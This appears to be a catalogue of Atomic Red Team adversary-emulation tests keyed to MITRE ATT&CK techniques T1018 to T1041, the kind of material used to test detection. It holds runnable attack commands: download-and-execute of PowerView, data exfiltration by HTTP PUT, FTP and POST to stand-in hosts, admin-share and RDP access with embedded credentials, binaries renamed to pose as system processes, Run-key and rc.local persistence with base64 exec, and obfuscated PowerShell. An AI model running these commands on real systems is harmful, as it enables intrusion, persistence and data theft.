Enumerate domain computers within Active Directory using DirectorySearcher

$DirectorySearcher = New-Object System.DirectoryServices.DirectorySearcher("(ObjectCategory=Computer)")
$DirectorySearcher.PropertiesToLoad.Add("Name")
$Computers = $DirectorySearcher.findall()
foreach ($Computer in $Computers) {
$Computer = $Computer.Properties.name
if (!$Computer) { Continue }
Write-Host $Computer}

T1018 - Remote System Discovery

Enumerate Active Directory Computers with Get-AdComputer

Get-AdComputer -Filter *

T1018 - Remote System Discovery

Enumerate Active Directory Computers with ADSISearcher

([adsisearcher]"objectcategory=computer").FindAll(); ([adsisearcher]"objectcategory=computer").FindOne()

T1018 - Remote System Discovery

Get-DomainController with PowerView

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainController -verbose

T1018 - Remote System Discovery

Get-WmiObject to Enumerate Domain Controllers

try { get-wmiobject -class ds_computer -namespace root\directory\ldap -ErrorAction Stop }
catch { $_; exit $_.Exception.HResult }

T1018 - Remote System Discovery

Remote System Discovery - net group Domain Controller

net group /domain "Domain controllers"

T1018 - Remote System Discovery

Enumerate Remote Hosts with Netscan

cmd /c '..\ExternalPayloads\netscan\64-bit\netscan.exe' /hide /auto:"$env:temp\T1018NetscanOutput.txt" /range:'127.0.0.1-127.0.0.1'

T1020 - Automated Exfiltration

IcedID Botnet HTTP PUT

$fileName = "C:\temp\T1020_exfilFile.txt"
$url = "https://google.com"
$file = New-Item -Force $fileName -Value "This is ART IcedID Botnet Exfil Test"
$contentType = "application/octet-stream"
try {Invoke-WebRequest -Uri $url -Method Put -ContentType $contentType -InFile $fileName} catch{}

T1020 - Automated Exfiltration

Exfiltration via Encrypted FTP

$sampleData = "Sample data for exfiltration test"
Set-Content -Path "C:\temp\T1020__FTP_sample.txt" -Value $sampleData
$ftpUrl = "ftp://example.com"
$creds = Get-Credential -Credential "[user:password]"
Invoke-WebRequest -Uri $ftpUrl -Method Put -InFile "C:\temp\T1020__FTP_sample.txt" -Credential $creds

T1021.001 - Remote Services: Remote Desktop Protocol

RDP to DomainController

$Server=$ENV:logonserver.TrimStart("\")
$User = Join-Path $Env:USERDOMAIN $ENV:USERNAME
$Password="1password2!"
cmdkey /generic:TERMSRV/$Server /user:$User /pass:$Password
mstsc /v:$Server
echo "RDP connection established"

T1021.001 - Remote Services: Remote Desktop Protocol

Changing RDP Port to Non Standard Port via Powershell

Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -name "PortNumber" -Value 4489
New-NetFirewallRule -DisplayName 'RDPPORTLatest-TCP-In' -Profile 'Public' -Direction Inbound -Action Allow -Protocol TCP -LocalPort 4489

T1021.001 - Remote Services: Remote Desktop Protocol

Changing RDP Port to Non Standard Port via Command_Prompt

reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 4489 /f
netsh advfirewall firewall add rule name="RDPPORTLatest-TCP-In" dir=in action=allow protocol=TCP localport=4489

T1021.001 - Remote Services: Remote Desktop Protocol

Disable NLA for RDP via Command Prompt

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /d 0 /t REG_DWORD /f

T1021.002 - Remote Services: SMB/Windows Admin Shares

Map admin share

cmd.exe /c "net use \\Target\C$ P@ssw0rd1 /u:DOMAIN\Administrator"

T1021.002 - Remote Services: SMB/Windows Admin Shares

Map Admin Share PowerShell

New-PSDrive -name g -psprovider filesystem -root \\Target\C$

T1021.002 - Remote Services: SMB/Windows Admin Shares

Copy and Execute File with PsExec

"..\ExternalPayloads\PsExec.exe" \\localhost -accepteula -c C:\Windows\System32\cmd.exe

T1021.002 - Remote Services: SMB/Windows Admin Shares

Execute command writing output to local Admin Share

cmd.exe /Q /c hostname 1> \\127.0.0.1\ADMIN$\output.txt 2>&1

T1021.003 - Remote Services: Distributed Component Object Model

PowerShell Lateral Movement using MMC20

[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.application","localhost")).Document.ActiveView.ExecuteShellCommand("c:\windows\system32\calc.exe", $null, $null, "7")

T1021.003 - Remote Services: Distributed Component Object Model

PowerShell Lateral Movement Using Excel Application Object

copy c:\windows\system32\calc.exe 'C:\users\admin\AppData\local\Microsoft\WindowsApps\foxprow.exe'
$com = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application","localhost"))
$com.ActivateMicrosoftApp("5")

T1021.004 - Remote Services: SSH

ESXi - Enable SSH via PowerCLI

Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server atomic.local -User root -Password pass
Get-VMHostService -VMHost atomic.local | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false

T1021.004 - Remote Services: SSH

ESXi - Enable SSH via VIM-CMD

echo "" | "..\ExternalPayloads\plink.exe" -batch "atomic.local" -ssh -l root -pw "password" "vim-cmd hostsvc/enable_ssh"

T1021.005 - Remote Services:VNC

Enable Apple Remote Desktop Agent

sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -activate -configure -allowAccessFor -allUsers -privs -all -quiet

T1021.006 - Remote Services: Windows Remote Management

Enable Windows Remote Management

Enable-PSRemoting -Force

T1021.006 - Remote Services: Windows Remote Management

Remote Code Execution with PS Credentials Using Invoke-Command

Enable-PSRemoting -Force
Invoke-Command -ComputerName $env:COMPUTERNAME -ScriptBlock {whoami}

T1021.006 - Remote Services: Windows Remote Management

WinRM Access with Evil-WinRM

evil-winrm -i Target -u Domain\Administrator -p P@ssw0rd1

T1025 - Data from Removable Media

Identify Documents on USB and Removable Media via PowerShell

powershell.exe -c "Get-Volume | Where-Object {$_.DriveType -eq 'Removable'} | ForEach-Object { Get-ChildItem -Path ($_.DriveLetter + ':\*') -Recurse -Include '*.doc*','*.xls*','*.txt','*.pdf' -ErrorAction SilentlyContinue | ForEach-Object {Write-Output $_.FullName} } ; if (-not (Get-Volume | Where-Object {$_.DriveType -eq 'Removable'})) { Write-Output 'No removable media.' }"

T1027.001 - Obfuscated Files or Information: Binary Padding

Pad Binary to Change Hash - Linux/macOS dd

dd if=/dev/zero bs=1 count=1 >> /tmp/evil-binary #adds null bytes
dd if=/dev/random bs=1 count=1 >> /tmp/evil-binary #adds high-quality random data
dd if=/dev/urandom bs=1 count=1 >> /tmp/evil-binary #adds low-quality random data

T1027.001 - Obfuscated Files or Information: Binary Padding

Pad Binary to Change Hash using truncate command - Linux/macOS

truncate -s +1 /tmp/evil-binary #adds a byte to the file size

T1027.002 - Obfuscated Files or Information: Software Packing

Binary simply packed by UPX (linux)

cp T1027.002/bin/linux/test_upx /tmp/packed_bin && /tmp/packed_bin

T1027.002 - Obfuscated Files or Information: Software Packing

Binary packed by UPX, with modified headers (linux)

cp T1027.002/bin/linux/test_upx_header_changed /tmp/packed_bin && /tmp/packed_bin

T1027.002 - Obfuscated Files or Information: Software Packing

Binary simply packed by UPX

cp T1027.002/bin/darwin/test_upx /tmp/packed_bin && /tmp/packed_bin

T1027.002 - Obfuscated Files or Information: Software Packing

Binary packed by UPX, with modified headers

cp T1027.002/bin/darwin/test_upx_header_changed /tmp/packed_bin && /tmp/packed_bin

T1027.004 - Obfuscated Files or Information: Compile After Delivery

Compile After Delivery using csc.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:C:\Windows\Temp\T1027.004.exe "T1027.004\src\calc.cs"

T1027.004 - Obfuscated Files or Information: Compile After Delivery

Dynamic C# Compile

Invoke-Expression "T1027.004\bin\T1027.004_DynamicCompile.exe"

T1027.004 - Obfuscated Files or Information: Compile After Delivery

C compile

gcc T1027.004/src/T1027-004-test.c && ./a.out
clang T1027.004/src/T1027-004-test.c && ./a.out

T1027.004 - Obfuscated Files or Information: Compile After Delivery

CC compile

g++ T1027.004/src/T1027-004-test.cc && ./a.out
clang++ T1027.004/src/T1027-004-test.cc && ./a.out

T1027.004 - Obfuscated Files or Information: Compile After Delivery

Go compile

go run T1027.004/src/T1027-004-test.go

T1027.006 - HTML Smuggling

HTML Smuggling Remote Payload

& "T1027.006\bin\T1027_006_remote.html"

T1027.007 - Obfuscated Files or Information: Dynamic API Resolution

Dynamic API Resolution-Ninja-syscall

Start-Process "T1027.007\bin\ninja_syscall1.exe"
Start-Sleep -Seconds 7
if (Test-Path "C:\Users\Default\AppData\Local\Temp\hello.log") { Remove-Item "C:\Users\Default\AppData\Local\Temp\hello.log" -Force; Write-Host "[+] hello.log removed." }

T1027.013 - Obfuscated Files or Information: Encrypted/Encoded File

Decode Eicar File and Write to File

$encodedString = "WDVPIVAlQEFQWzRcUFpYNTQoUF4pN0NDKTd9JEVJQ0FSLVNUQU5EQVJELUFOVElWSVJVUy1URVNULUZJTEUhJEgrSCo="
$bytes = [System.Convert]::FromBase64String($encodedString)
$decodedString = [System.Text.Encoding]::UTF8.GetString($bytes)

#write the decoded eicar string to file
$decodedString | Out-File T1027.013_decodedEicar.txt

T1027.013 - Obfuscated Files or Information: Encrypted/Encoded File

Decrypt Eicar File and Write to File

$encryptedString = "76492d1116743f0423413b16050a5345MgB8AGkASwA0AHMAbwBXAFoAagBkAFoATABXAGIAdAA5AFcAWAB1AFMANABVAEEAPQA9AHwAZQBjAGMANgAwADQAZAA0AGQAMQAwADUAYgA4ADAAMgBmADkAZgBjADEANQBjAGMANQBiAGMANwA2AGYANQBmADUANABhAGIAYgAyAGMANQA1AGQAMgA5ADEANABkADUAMgBiAGMANgA2AGMAMAAxADUAZABjADAAOABjAGIANAA1ADUANwBjADcAZQBlAGQAYgAxADEAOQA4AGIAMwAwADMANwAwADAANQA2ADQAOAA4ADkAZgA4ADMAZQA4ADgAOQBiAGEAMAA2ADMAMQAyADYAMwBiAGUAMAAxADgANAA0ADYAOAAxADQANQAwAGUANwBkADkANABjADcANQAxADgAYQA2ADMANQA4AGIAYgA1ADkANQAzAGIAMwAxADYAOAAwADQAMgBmADcAZQBjADYANQA5AGIANwBkADUAOAAyAGEAMgBiADEAMQAzAGQANABkADkAZgA3ADMAMABiADgAOQAxADAANAA4ADcAOQA5ADEAYQA1ADYAZAAzADQANwA3AGYANgAyADcAMAAwADEAMQA4ADEAZgA5ADUAYgBmAGYANQA3ADQAZQA4AGUAMAAxADUANwAwAGQANABiADMAMwA2ADgANwA0AGIANwAyADMAMQBhADkAZABhADEANQAzADQAMgAzADEANwAxADAAZgAxADkAYQA1ADEAMQA="
$key = [byte]1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32

$decrypt = ConvertTo-SecureString -String $encryptedString -Key $key
$decryptedString = [Runtime.InteropServices.Marshal]::PtrToStringBSTR([Runtime.InteropServices.Marshal]::SecureStringToBSTR($decrypt))

#Write the decrypted eicar string to a file
$decryptedString | out-file T1027.013_decryptedEicar.txt

T1027 - Obfuscated Files or Information

Decode base64 Data into Script

if [ "$(uname)" = 'FreeBSD' ]; then cmd="b64decode -r"; else cmd="base64 -d"; fi;
cat /tmp/encoded.dat | $cmd > /tmp/art.sh
chmod +x /tmp/art.sh
/tmp/art.sh

T1027 - Obfuscated Files or Information

Execute base64-encoded PowerShell

$OriginalCommand = 'Write-Host "Hey, Atomic!"'
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($OriginalCommand)
$EncodedCommand =[Convert]::ToBase64String($Bytes)
$EncodedCommand
powershell.exe -EncodedCommand $EncodedCommand

T1027 - Obfuscated Files or Information

Execute base64-encoded PowerShell from Windows Registry

$OriginalCommand = 'Write-Host "Hey, Atomic!"'
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($OriginalCommand)
$EncodedCommand =[Convert]::ToBase64String($Bytes)
$EncodedCommand

Set-ItemProperty -Force -Path HKCU:Software\Microsoft\Windows\CurrentVersion -Name Debug -Value $EncodedCommand
powershell.exe -Command "IEX ([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String((gp HKCU:Software\Microsoft\Windows\CurrentVersion Debug).Debug)))"

T1027 - Obfuscated Files or Information

Execution from Compressed File

"..\ExternalPayloads\temp_T1027.zip\T1027.exe"

T1027 - Obfuscated Files or Information

DLP Evasion via Sensitive Data in VBA Macro over email

Send-MailMessage -From test@corp.com -To test@corp.com -Subject 'T1027_Atomic_Test' -Attachments "T1027\src\T1027-cc-macro.xlsm" -SmtpServer 127.0.0.1

T1027 - Obfuscated Files or Information

DLP Evasion via Sensitive Data in VBA Macro over HTTP

Invoke-WebRequest -Uri 127.0.0.1 -Method POST -Body "T1027\src\T1027-cc-macro.xlsm"

T1027 - Obfuscated Files or Information

Obfuscated Command in PowerShell

$cmDwhy =[TyPe]("{0}{1}" -f 'S','TrING') ; $pz2Sb0 =[TYpE]("{1}{0}{2}"-f'nv','cO','ert') ; &("{0}{2}{3}{1}{4}" -f'In','SiO','vOKe-EXp','ReS','n') ( (&("{1}{2}{0}"-f'blE','gET-','vaRIA') ('CMdw'+'h'+'y'))."v`ALUe"::("{1}{0}" -f'iN','jO').Invoke('',( (127, 162,151, 164,145 ,55 , 110 ,157 ,163 , 164 ,40,47, 110 , 145 ,154, 154 ,157 , 54 ,40, 146, 162 , 157,155 ,40, 120, 157 ,167,145 , 162 ,123,150 ,145 , 154 , 154 , 41,47)| .('%') { ( [CHAR] ( $Pz2sB0::"t`OinT`16"(( [sTring]${_}) ,8)))})) )

T1027 - Obfuscated Files or Information

Obfuscated Command Line using special Unicode characters

{MISSING IN ATOMIC RED TEAM}

T1027 - Obfuscated Files or Information

Snake Malware Encrypted crmlog file

$file = New-Item $env:windir\registration\04e53197-72be-4dd8-88b1-533fe6eed577.04e53197-72be-4dd8-88b1-533fe6eed577.crmlog; $file.Attributes = 'Hidden', 'System', 'Archive'; Write-Host "File created: $($file.FullName)"

T1027 - Obfuscated Files or Information

Execution from Compressed JScript File

"..\ExternalPayloads\temp_T1027js.zip\T1027js.js"

T1030 - Data Transfer Size Limits

Data Transfer Size Limits

cd /tmp/T1030; split -b 5000000 T1030_urandom
ls -l /tmp/T1030

T1030 - Data Transfer Size Limits

Network-Based Data Transfer in Small Chunks

$file = [System.IO.File]::OpenRead([User specified])
$chunkSize = 1024 * 1KB
$buffer = New-Object Byte[] $chunkSize

while ($bytesRead = $file.Read($buffer, 0, $buffer.Length)) {
$encodedChunk = [Convert]::ToBase64String($buffer, 0, $bytesRead)
Invoke-WebRequest -Uri http://example.com -Method Post -Body $encodedChunk
}
$file.Close()

T1033 - System Owner/User Discovery

System Owner/User Discovery

cmd.exe /C whoami
wmic useraccount get /ALL
quser /SERVER:"localhost"
quser
qwinsta.exe /server:localhost
qwinsta.exe
for /F "tokens=1,2" %i in ('qwinsta /server:localhost ^| findstr "Active Disc"') do @echo %i | find /v "#" | find /v "console" || echo %j > computers.txt
@FOR /F %n in (computers.txt) DO @FOR /F "tokens=1,2" %i in ('qwinsta /server:%n ^| findstr "Active Disc"') do @echo %i | find /v "#" | find /v "console" || echo %j > usernames.txt

T1033 - System Owner/User Discovery

System Owner/User Discovery

users
w
who

T1033 - System Owner/User Discovery

Find computers where user has session - Stealth mode (PowerView)

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Invoke-UserHunter -Stealth -Verbose

T1033 - System Owner/User Discovery

User Discovery With Env Vars PowerShell Script

[System.Environment]::UserName | Out-File -FilePath .\CurrentactiveUser.txt
$env:UserName | Out-File -FilePath .\CurrentactiveUser.txt -Append

T1033 - System Owner/User Discovery

GetCurrent User with PowerShell Script

[System.Security.Principal.WindowsIdentity]::GetCurrent() | Out-File -FilePath .\CurrentUserObject.txt

T1033 - System Owner/User Discovery

System Discovery - SocGholish whoami

$TokenSet = @{
U = [Char[]]'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
N = [Char[]]'0123456789'
}
$Upper = Get-Random -Count 5 -InputObject $TokenSet.U
$Number = Get-Random -Count 5 -InputObject $TokenSet.N
$StringSet = $Upper + $Number
$rad = (Get-Random -Count 5 -InputObject $StringSet) -join ''
$file = "rad" + $rad + ".tmp"

whoami.exe /all >> $env:temp\$file

T1033 - System Owner/User Discovery

System Owner/User Discovery Using Command Prompt

set file=$env:temp\user_info_%random%.tmp
echo Username: %USERNAME% > %file%
echo User Domain: %USERDOMAIN% >> %file%
net users >> %file%
query user >> %file%

T1036.003 - Masquerading: Rename System Utilities

Masquerading as Windows LSASS process

copy %SystemRoot%\System32\cmd.exe %SystemRoot%\Temp\lsass.exe
%SystemRoot%\Temp\lsass.exe /B

T1036.003 - Masquerading: Rename System Utilities

Masquerading as FreeBSD or Linux crond process.

cp /bin/sh /tmp/crond;
echo 'sleep 5' | /tmp/crond

T1036.003 - Masquerading: Rename System Utilities

Masquerading - cscript.exe running as notepad.exe

copy %SystemRoot%\System32\cscript.exe %APPDATA%\notepad.exe /Y
cmd.exe /c %APPDATA%\notepad.exe /B

T1036.003 - Masquerading: Rename System Utilities

Masquerading - wscript.exe running as svchost.exe

copy %SystemRoot%\System32\wscript.exe %APPDATA%\svchost.exe /Y
cmd.exe /c %APPDATA%\svchost.exe "..\ExternalPayloads\T1036.003\src\T1036.003_masquerading.vbs"

T1036.003 - Masquerading: Rename System Utilities

Masquerading - powershell.exe running as taskhostw.exe

copy %windir%\System32\windowspowershell\v1.0\powershell.exe %APPDATA%\taskhostw.exe /Y
cmd.exe /K %APPDATA%\taskhostw.exe

T1036.003 - Masquerading: Rename System Utilities

Masquerading - non-windows exe running as windows exe

copy "T1036.003\bin\T1036.003.exe" ($env:TEMP + "\svchost.exe")
try { $myT1036_003 = (Start-Process -PassThru -FilePath ($env:TEMP + "\svchost.exe")).Id }
catch { $_; exit $_.Exception.HResult}
Stop-Process -ID $myT1036_003

T1036.003 - Masquerading: Rename System Utilities

Masquerading - windows exe running as different windows exe

copy "$env:ComSpec" ($env:TEMP + "\svchost.exe")
$myT1036_003 = (Start-Process -PassThru -FilePath ($env:TEMP + "\svchost.exe")).Id
Stop-Process -ID $myT1036_003

T1036.003 - Masquerading: Rename System Utilities

Malicious process Masquerading as LSM.exe

copy C:\Windows\System32\cmd.exe C:\lsm.exe
C:\lsm.exe /c echo T1036.003 > C:\T1036.003.txt

T1036.004 - Masquerading: Masquerade Task or Service

Creating W32Time similar named service using schtasks

schtasks /create /ru system /sc daily /tr "cmd /c powershell.exe -ep bypass -file c:\T1036.004_NonExistingScript.ps1" /tn win32times /f
schtasks /query /tn win32times

T1036.004 - Masquerading: Masquerade Task or Service

Creating W32Time similar named service using sc

sc create win32times binPath= "cmd /c start c:\T1036.004_NonExistingScript.ps1"
sc qc win32times

T1036.004 - Masquerading: Masquerade Task or Service

linux rename /proc/pid/comm using prctl

/tmp/T1036_004_prctl_rename & ps
TMP=`ps | grep totally_legit`
if [ -z "${TMP}" ] ; then echo "renamed process NOT FOUND in process list" && exit 1; fi
exit 0

T1036.004 - Masquerading: Masquerade Task or Service

Hiding a malicious process with bind mounts

eval '(while true; do :; done) &'
echo $! > /tmp/evil_pid.txt
random_kernel_pid=$(ps -ef | grep "\[.*\]" | awk '{print $2}' | shuf -n 1)
sudo mount -B /proc/$random_kernel_pid /proc/$(cat /tmp/evil_pid.txt)

T1036.005 - Masquerading: Match Legitimate Name or Location

Execute a process from a directory masquerading as the current parent directory

mkdir $HOME/...
cp $(which sh) $HOME/...
$HOME/.../sh -c "echo Hello from the Atomic Red Team test T1036.005#1"

T1036.005 - Masquerading: Match Legitimate Name or Location

Masquerade as a built-in system executable

Add-Type -TypeDefinition @'
public class Test {
public static void Main(string[] args) {
System.Console.WriteLine("tweet, tweet");
}
}
'@ -OutputAssembly "$Env:windir\Temp\svchost.exe"

Start-Process -FilePath "$Env:windir\Temp\svchost.exe"

T1036.005 - Masquerading: Match Legitimate Name or Location

Masquerading cmd.exe as VEDetector.exe

# Copy and rename cmd.exe to VEDetector.exe
Copy-Item -Path "$env:SystemRoot\System32\cmd.exe" -Destination "$env:TEMP\VEDetector.exe" -Force

# Create registry run key for persistence
New-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "VEDetector" -Value "$env:TEMP\VEDetector.exe" -PropertyType String -Force

# Start the renamed process
Start-Process -FilePath "$env:TEMP\VEDetector.exe"

Start-Sleep -Seconds 5

T1036.006 - Masquerading: Space after Filename

Space After Filename (Manual)

{MISSING IN ATOMIC RED TEAM}

T1036.006 - Masquerading: Space after Filename

Space After Filename

mkdir -p /tmp/atomic-test-T1036.006
cd /tmp/atomic-test-T1036.006
mkdir -p 'testdirwithspaceend '
[ "$(uname)" = 'FreeBSD' ] && /bin/echo "#\!/bin/sh" > "testdirwithspaceend /init " && echo 'echo "print(\"running T1035.006 with space after filename to masquerade init\")" | python3.9' >> "testdirwithspaceend /init " && echo "exit" >> "testdirwithspaceend /init " || /usr/bin/echo -e "%d\na\n#!/usr/bin/perl\nprint \"running T1035.006 with space after filename to masquerade init\\n\";\nqx/cp \/usr\/bin\/perl 'init '/;\nqx/'.\/init ' -e 'sleep 5'/;\n.\nwq\n" | ed 'testdirwithspaceend /init ' >/dev/null
chmod +x 'testdirwithspaceend /init '
'./testdirwithspaceend /init '

T1036.007 - Masquerading: Double File Extension

File Extension Masquerading

copy "C:\Windows\System32\calc.exe" %temp%\T1036.007_masquerading.docx.exe /Y
copy "C:\Windows\System32\calc.exe" %temp%\T1036.007_masquerading.pdf.exe /Y
copy "C:\Windows\System32\calc.exe" %temp%\T1036.007_masquerading.ps1.exe /Y
copy "T1036.007\src\T1036.007_masquerading.vbs" %temp%\T1036.007_masquerading.xls.vbs /Y
copy "T1036.007\src\T1036.007_masquerading.vbs" %temp%\T1036.007_masquerading.xlsx.vbs /Y
copy "T1036.007\src\T1036.007_masquerading.vbs" %temp%\T1036.007_masquerading.png.vbs /Y
copy "T1036.007\src\T1036.007_masquerading.ps1" %temp%\T1036.007_masquerading.doc.ps1 /Y
copy "T1036.007\src\T1036.007_masquerading.ps1" %temp%\T1036.007_masquerading.pdf.ps1 /Y
copy "T1036.007\src\T1036.007_masquerading.ps1" %temp%\T1036.007_masquerading.rtf.ps1 /Y
%temp%\T1036.007_masquerading.docx.exe
%temp%\T1036.007_masquerading.pdf.exe
%temp%\T1036.007_masquerading.ps1.exe
%temp%\T1036.007_masquerading.xls.vbs
%temp%\T1036.007_masquerading.xlsx.vbs
%temp%\T1036.007_masquerading.png.vbs
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -File %temp%\T1036.007_masquerading.doc.ps1
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -File %temp%\T1036.007_masquerading.pdf.ps1
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -File %temp%\T1036.007_masquerading.rtf.ps1

T1036 - Masquerading

System File Copied to Unusual Location

copy-item "$env:windir\System32\cmd.exe" -destination "$env:allusersprofile\cmd.exe"
start-process "$env:allusersprofile\cmd.exe"
sleep -s 5
stop-process -name "cmd" | out-null

T1036 - Masquerading

Malware Masquerading and Execution from Zip File

Expand-Archive -Path "..\ExternalPayloads\T1036.zip" -DestinationPath "$env:userprofile\Downloads\T1036" -Force
cd "$env:userprofile\Downloads\T1036"
cmd /c "$env:userprofile\Downloads\T1036\README.cmd" >$null 2>$null

T1037.001 - Boot or Logon Initialization Scripts: Logon Script (Windows)

Logon Scripts

echo "echo Art "Logon Script" atomic test was successful. >> %USERPROFILE%\desktop\T1037.001-log.txt" > %temp%\art.bat
REG.exe ADD HKCU\Environment /v UserInitMprLogonScript /t REG_SZ /d "%temp%\art.bat" /f

T1037.002 - Boot or Logon Initialization Scripts: Logon Script (Mac)

Logon Scripts - Mac

{MISSING IN ATOMIC RED TEAM}

T1037.004 - Boot or Logon Initialization Scripts: Rc.common

rc.common

sudo echo osascript -e 'tell app "Finder" to display dialog "Hello World"' >> /etc/rc.common

T1037.004 - Boot or Logon Initialization Scripts: Rc.common

rc.common

filename='/etc/rc.common';if [ ! -f $filename ];then sudo touch $filename;else sudo cp $filename /etc/rc.common.original;fi
printf '%s\n' '#!/bin/bash' | sudo tee /etc/rc.common
echo "python3 -c \"import os, base64;exec(base64.b64decode('aW1wb3J0IG9zCm9zLnBvcGVuKCdlY2hvIGF0b21pYyB0ZXN0IGZvciBtb2RpZnlpbmcgcmMuY29tbW9uID4gL3RtcC9UMTAzNy4wMDQucmMuY29tbW9uJykK'))\"" | sudo tee -a /etc/rc.common
printf '%s\n' 'exit 0' | sudo tee -a /etc/rc.common
sudo chmod +x /etc/rc.common

T1037.004 - Boot or Logon Initialization Scripts: Rc.common

rc.local

filename='/etc/rc.local';if [ ! -f $filename ];then sudo touch $filename;else sudo cp $filename /etc/rc.local.original;fi
[ "$(uname)" = 'FreeBSD' ] && alias python3=python3.9 && printf '#\!/usr/local/bin/bash' | sudo tee /etc/rc.local || printf '#!/bin/bash' | sudo tee /etc/rc.local
echo "\npython3 -c \"import os, base64;exec(base64.b64decode('aW1wb3J0IG9zCm9zLnBvcGVuKCdlY2hvIGF0b21pYyB0ZXN0IGZvciBtb2RpZnlpbmcgcmMubG9jYWwgPiAvdG1wL1QxMDM3LjAwNC5yYy5sb2NhbCcpCgo='))\"" | sudo tee -a /etc/rc.local
printf 'exit 0' | sudo tee -a /etc/rc.local
sudo chmod +x /etc/rc.local

T1037.005 - Boot or Logon Initialization Scripts: Startup Items

Add file to Local Library StartupItems

sudo touch /Library/StartupItems/EvilStartup.plist

T1037.005 - Boot or Logon Initialization Scripts: Startup Items

Add launch script to launch daemon

sudo cp $T1037.005/src/StartupParameters.plist /Library/StartupItems/StartupParameters.plist
sudo cp $T1037.005/src/T1037.005_daemon.sh /Library/StartupItems/atomic.sh
sudo cp $T1037.005/src/T1037_005_daemon.plist /tmp/T1037_005_daemon.plist
sudo /Library/StartupItems/atomic.sh start

T1037.005 - Boot or Logon Initialization Scripts: Startup Items

Add launch script to launch agent

sudo cp $T1037.005/src/StartupParameters.plist /Library/StartupItems/StartupParameters.plist
sudo cp $T1037.005/src/T1037.005_agent.sh /Library/StartupItems/atomic.sh
sudo cp $T1037.005/src/T1037_005_agent.plist /tmp/T1037_005_agent.plist
/Library/StartupItems/atomic.sh start

T1039 - Data from Network Shared Drive

Copy a sensitive File over Administrative share with copy

copy \\127.0.0.1\C$\Windows\temp\Easter_Bunny.password %TEMP%\Easter_egg.password

T1039 - Data from Network Shared Drive

Copy a sensitive File over Administrative share with Powershell

copy-item -Path "\\127.0.0.1\C$\Windows\temp\Easter_Bunny.password" -Destination "$Env:TEMP\Easter_egg.password"

T1040 - Network Sniffing

Packet Capture Linux using tshark or tcpdump

tcpdump -c 5 -nnni ens33
tshark -c 5 -i ens33

T1040 - Network Sniffing

Packet Capture FreeBSD using tshark or tcpdump

tcpdump -c 5 -nnni em0
tshark -c 5 -i em0

T1040 - Network Sniffing

Packet Capture macOS using tcpdump or tshark

sudo tcpdump -c 5 -nnni en0A
if [ -x "$(command -v tshark)" ]; then sudo tshark -c 5 -i en0A; fi;

T1040 - Network Sniffing

Packet Capture Windows Command Prompt

"c:\Program Files\Wireshark\tshark.exe" -i Ethernet -c 5

T1040 - Network Sniffing

Windows Internal Packet Capture

netsh trace start capture=yes tracefile=%temp%\trace.etl maxsize=10

T1040 - Network Sniffing

Windows Internal pktmon capture

pktmon.exe start --etw -f %TEMP%\t1040.etl
TIMEOUT /T 5 >nul 2>&1
pktmon.exe stop

T1040 - Network Sniffing

Windows Internal pktmon set filter

pktmon.exe filter add -p 445

T1040 - Network Sniffing

Packet Capture macOS using /dev/bpfN with sudo

sudo /tmp/t1040_macos_pcapdemo -i en0 -t 3

T1040 - Network Sniffing

Filtered Packet Capture macOS using /dev/bpfN with sudo

sudo /tmp/t1040_macos_pcapdemo -f -i en0 -t 3

T1040 - Network Sniffing

Packet Capture FreeBSD using /dev/bpfN with sudo

sudo /tmp/t1040_freebsd_pcapdemo -i em0 -t 3

T1040 - Network Sniffing

Filtered Packet Capture FreeBSD using /dev/bpfN with sudo

sudo /tmp/t1040_freebsd_pcapdemo -f -i em0 -t 3

T1040 - Network Sniffing

Packet Capture Linux socket AF_PACKET,SOCK_RAW with sudo

sudo /tmp/t1040_linux_pcapdemo -a -t 3

T1040 - Network Sniffing

Packet Capture Linux socket AF_INET,SOCK_RAW,TCP with sudo

sudo /tmp/t1040_linux_pcapdemo -4 -p 6 -t 3

T1040 - Network Sniffing

Packet Capture Linux socket AF_INET,SOCK_PACKET,UDP with sudo

sudo /tmp/t1040_linux_pcapdemo -4 -P -p 17 -t 3

T1040 - Network Sniffing

Packet Capture Linux socket AF_PACKET,SOCK_RAW with BPF filter for UDP with sudo

sudo /tmp/t1040_linux_pcapdemo -a -f -t 3

T1040 - Network Sniffing

PowerShell Network Sniffing

New-NetEventSession -Name Capture007 -LocalFilePath "$ENV:Temp\sniff.etl"
Add-NetEventPacketCaptureProvider -SessionName Capture007 -TruncationLength 100
Start-NetEventSession -Name Capture007
Stop-NetEventSession -Name Capture007
Remove-NetEventSession -Name Capture007

T1041 - Exfiltration Over C2 Channel

C2 Data Exfiltration

if(-not (Test-Path $env:TEMP\LineNumbers.txt)){
1..100 | ForEach-Object { Add-Content -Path $env:TEMP\LineNumbers.txt -Value "This is line $_." }
}
[System.Net.ServicePointManager]::Expect100Continue = $false
